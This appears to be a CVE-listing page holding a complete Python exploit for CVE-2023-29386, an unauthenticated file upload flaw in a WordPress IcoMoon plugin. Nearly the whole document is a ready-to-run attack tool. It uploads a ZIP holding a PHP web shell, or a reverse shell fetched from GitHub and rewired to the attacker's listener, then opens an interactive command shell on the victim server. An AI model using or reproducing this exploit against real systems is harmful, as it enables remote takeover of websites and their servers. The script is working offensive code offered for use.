4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2023-29386. The file may not exist in the repository.
POC / exploit
#!/usr/bin/python

'''
Exploit for Manager for IcoMoon Plugin < 2.0 - Unauthenticated Arbitrary File Upload
CVE: CVE-2023-29386

Vulnerability: The plugin does not validate files uploaded via its upload() function, 
allowing unauthenticated users to upload ZIP archives containing PHP files which 
are extracted to web-accessible directories.

Author: vigilante-1337
Date: 09/10/2025
'''

import requests
import zipfile
import threading
import os
import re
import sys
import argparse
from pwn import *


# Hide pwntool logging
context.log_level = 'error'  # Set to 'error' (hides most logs)
logging.getLogger("pwnlib").setLevel(logging.ERROR)  # Disable logging for pwntools


class Reverse_Shell(threading.Thread):

    def __init__(self, lhost: str  = '172.17.0.1', lport: int = 1337)-> None:
        ''' Dummy TTYReverse Shell '''
        super(Reverse_Shell, self).__init__()
        self.lhost:str = lhost
        self.lport:int = lport
        self.exit:bool = False
        self.listener:object = None

    def run(self)-> None:
        try:
            self.listener = listen(int(self.lport), bindaddr=self.lhost)  # Force IPv4
            conn = self.listener.wait_for_connection()
            conn.sendline(b'id')
            while True:
                data = conn.recv(1024).decode().strip()
                if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', data):
                    print(f'{data}')
                    print('[+] Pwned! Go ahead...')
                    conn.interactive(prompt='')
                    

        except KeyboardInterrupt:
            conn.close()
            listener.close()
            sys.exit(0)

        finally: pass



class CVE_2023_29386:

    def __init__(self, target:str=None, lhost:str=None, lport:int=None, root_path:str='/', proxy:str=None, user_agent:str='vigilante-1337')-> None:
        self.rhost:str = target
        self.lhost:str = lhost
        self.lport:int = lport
        self.selected_payload:int = None
        self.root_path:str = self.fix_root_path(root_path)
        self.proxy:dict = self.fix_proxy(proxy)
        self.user_agent:dict = {'User-Agent': user_agent}
        # intercept  incoming connection
        self.connection:object = None

    def fix_root_path(self, root_path:str)-> str:
        new_root_path = '' if root_path == '/' else root_path.strip('/') # remove only first and last /
        return new_root_path

    def fix_proxy(self, proxy:dict)-> dict:
        new_proxy = {'http':proxy, 'https':proxy} if proxy else None
        return new_proxy

    def check_plugins(self)-> None:
        '''        
        Verify if the Manager for IcoMoon plugin is installed and accessible.
        '''

        check = requests.get(f'{self.rhost}/wp-content/plugins/manager-for-icomoon/', proxies=self.proxy, headers=self.user_agent)
        if check.status_code != 403: # if forbidden, the plugins existing
            print('[!] Plugins not exists! Aborting...')
            sys.exit(0)

        enumerate = requests.get(f'{self.rhost}/wp-content/plugins/manager-for-icomoon/readme.txt')
        versions = re.findall(r'=\s*([0-9.]+)\s*=', enumerate.text)
        versions = float(versions[0])

        print(f'[+] Plugins found! current version: {versions}')
        info, status = ('[+] Plugins is vulnerable to CVE-2023-29386', 1) if versions <= 2.0 else ( 
            ('[+] Plugins is not vulnerable to CVE-2023-29386', 0) if versions > 2.0 else ('[+] Plugins might not vulnerable to CVE-2023-29386', 1) )

        print(info)
        return status


    def create_zipfile_payload(self)-> None:
        '''
        Create a malicious ZIP archive payload with PHP web shell.

        Generates a ZIP file containing a PHP backdoor that enables
        remote command execution on the target server when extracted.

        The payload uses a simple PHP system() wrapper to execute
        commands passed via HTTP parameters.
        '''
        print('[+] Crafting malicios Zipfile payload...')

        print("available payloads:")
        print("[1] oneliner")
        print("[2] php-reverse-shell")
        self.selected_payload = int(input('> '))
        if self.selected_payload == 1:
            payload_content = '<?php system($_GET["cmd"]); ?>'

        elif self.selected_payload == 2:
            print(f'[+] Listening address set to => {self.lhost}:{self.lport}')
            # shout out to pentestmonkey
            payload_content = requests.get('https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php').text

            # replace the address and port
            payload_content = payload_content.replace("'127.0.0.1'", f"'{self.lhost}'")
            payload_content = payload_content.replace("1234", str(self.lport))
            payload_content = payload_content.replace("uname -a; w; id; /bin/sh -i", "/bin/bash -i")

        with zipfile.ZipFile('payload_file.zip', 'w') as payload:
            payload.writestr('shell.php', payload_content)

        if os.path.isfile('./payload_file.zip'):
            print('[+] Exploit archive prepared for unauthenticated upload')


    def exploitation(self)-> None:
        '''
        Execute the unauthenticated file upload exploit.

        This method crafts a malicious ZIP archive containing a PHP web shell,
        uploads it to the vulnerable endpoint, and verifies successful exploitation.
        '''
        print('[+] Sending ZipFile payload...')

        with open('./payload_file.zip', 'rb') as content:
            files = {'managerforicomoon-zip': ('payload_file.zip', content.read(), 'application/zip')}
 
        exploit = requests.post(
            f'{self.rhost}/wp-admin/admin.php?page=managerforicomoon-zip',
            allow_redirects=False,
            files=files,
            data={'managerforicomoon-upload': '1'}
        )

        shell = requests.head(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php')
        if shell.status_code == 200 or shell.status_code == 500:

            print(f'[+] Payload sent! Shell uploaded: /wp-content/uploads/manager-for-icomoon/shell.php')
            print(f'[+] Attemping to execute the shell...')

            if self.selected_payload == 1:
                result = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php', params={'cmd':'id'})
                if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', result.text):
                    print(result.text.strip())
                    print('[+] Pwned! Go ahead...')
                    self.interact_with_payload()

            else:
                listener = Reverse_Shell(lhost=self.lhost, lport=self.lport)
                listener.start()
                listener.join(0.1)  # Wait briefly for listener to start
                shell = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php')




    def interact_with_payload(self)-> None:
        '''
        Interact with the deployed web shell for command execution.
        '''
        while True:
            command = input('> ')
            result = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php', params={'cmd':command})
            print(result.text)
            # print(result.text[0:-2])

print()
print('''⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠛⠛⠛⠛⠛⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣄⠀⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠀⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⢀⡿⠀⠀⢀⣀⣤⡴⠶⠶⢦⣤⣀⡀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⠀⠀⠘⣧⡀⠛⢻⡏⠀⠀⠀⠀⠀⠀⠉⣿⠛⠂⣼⠇⠀⠀⠀⠀⠀⠀''')
print('''⠀⠀⠀⠀⢀⣤⡴⠾⢷⡄⢸⡇⠀⠀⠀⠀⠀⠀⢀⡟⢀⡾⠷⢦⣤⡀⠀⠀⠀⠀''')
print('''⠀⠀⠀⢀⡾⢁⣀⣀⣀⣻⣆⣻⣦⣤⣀⣀⣠⣴⣟⣡⣟⣁⣀⣀⣀⢻⡄⠀⠀⠀''')
print('''⠀⠀⢀⡾⠁⣿⠉⠉⠀⠀⠉⠁⠉⠉⠉⠉⠉⠀⠀⠈⠁⠈⠉⠉⣿⠈⢿⡄⠀⠀''')
print('''⠀⠀⣾⠃⠀⣿⠀⠀⠀⠀⠀⠀⣠⠶⠛⠛⠷⣤⠀⠀⠀⠀⠀⠀⣿⠀⠈⢷⡀⠀''')
print('''⠀⣼⠃⠀⠀⣿⠀⠀⠀⠀⠀⢸⠏⢤⡀⢀⣤⠘⣧⠀⠀⠀⠀⠀⣿⠀⠀⠈⣷⠀''')
print('''⢸⡇⠀⠀⠀⣿⠀⠀⠀⠀⠀⠘⢧⣄⠁⠈⣁⣴⠏⠀⠀⠀⠀⠀⣿⠀⠀⠀⠘⣧''')
print('''⠈⠳⣦⣀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠻⠶⠶⠟⠀⠀⠀⠀⠀⠀⠀⣿⠀⢀⣤⠞⠃''')
print('''⠀⠀⠀⠙⠷⣿⣀⣀⣀⣀⣀⣠⣤⣤⣤⣤⣀⣤⣠⣤⡀⠀⣤⣄⣿⡶⠋⠁⠀⠀''')
print('''⠀⠀⠀⠀⠀⢿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣿⠀⠀⠀⠀⠀''')
print()

parser = argparse.ArgumentParser(description="Exploit for Manager for IcoMoon Plugin < 2.0 - Unauthenticated Arbitrary File Upload (CVE-2023-29386)", usage=f'{sys.argv[0]} [-h] [-t target]')
parser.add_argument('-t', '--target', required=True, type=str, metavar='', help='Target URL (example: http://target-server:port)')
parser.add_argument('-p', '--path', required=False, type=str, metavar='', help='Wordpress custom path', default='')
parser.add_argument('--proxy', required=False, type=str, metavar='', help='Route traffic through proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('--user-agent', required=False, type=str, metavar='', help='Custom User-Agent string', default='vigilante-1337')
parser.add_argument('--lhost', required=False, type=str, metavar='', help='Set listening host for PentestMonkey\'s payload')
parser.add_argument('--lport', required=False, type=int, metavar='', help='Set listening port for PentestMonkey\'s payload (default: 1337)', default=1337)
args = parser.parse_args()




if __name__ == '__main__':
    exploit = CVE_2023_29386(
        target=args.target,
        lhost=args.lhost,
        lport=args.lport,
        root_path=args.path,
        proxy=args.proxy,
        user_agent=args.user_agent,
    )
    exploit.check_plugins()
    exploit.create_zipfile_payload()
    exploit.exploitation()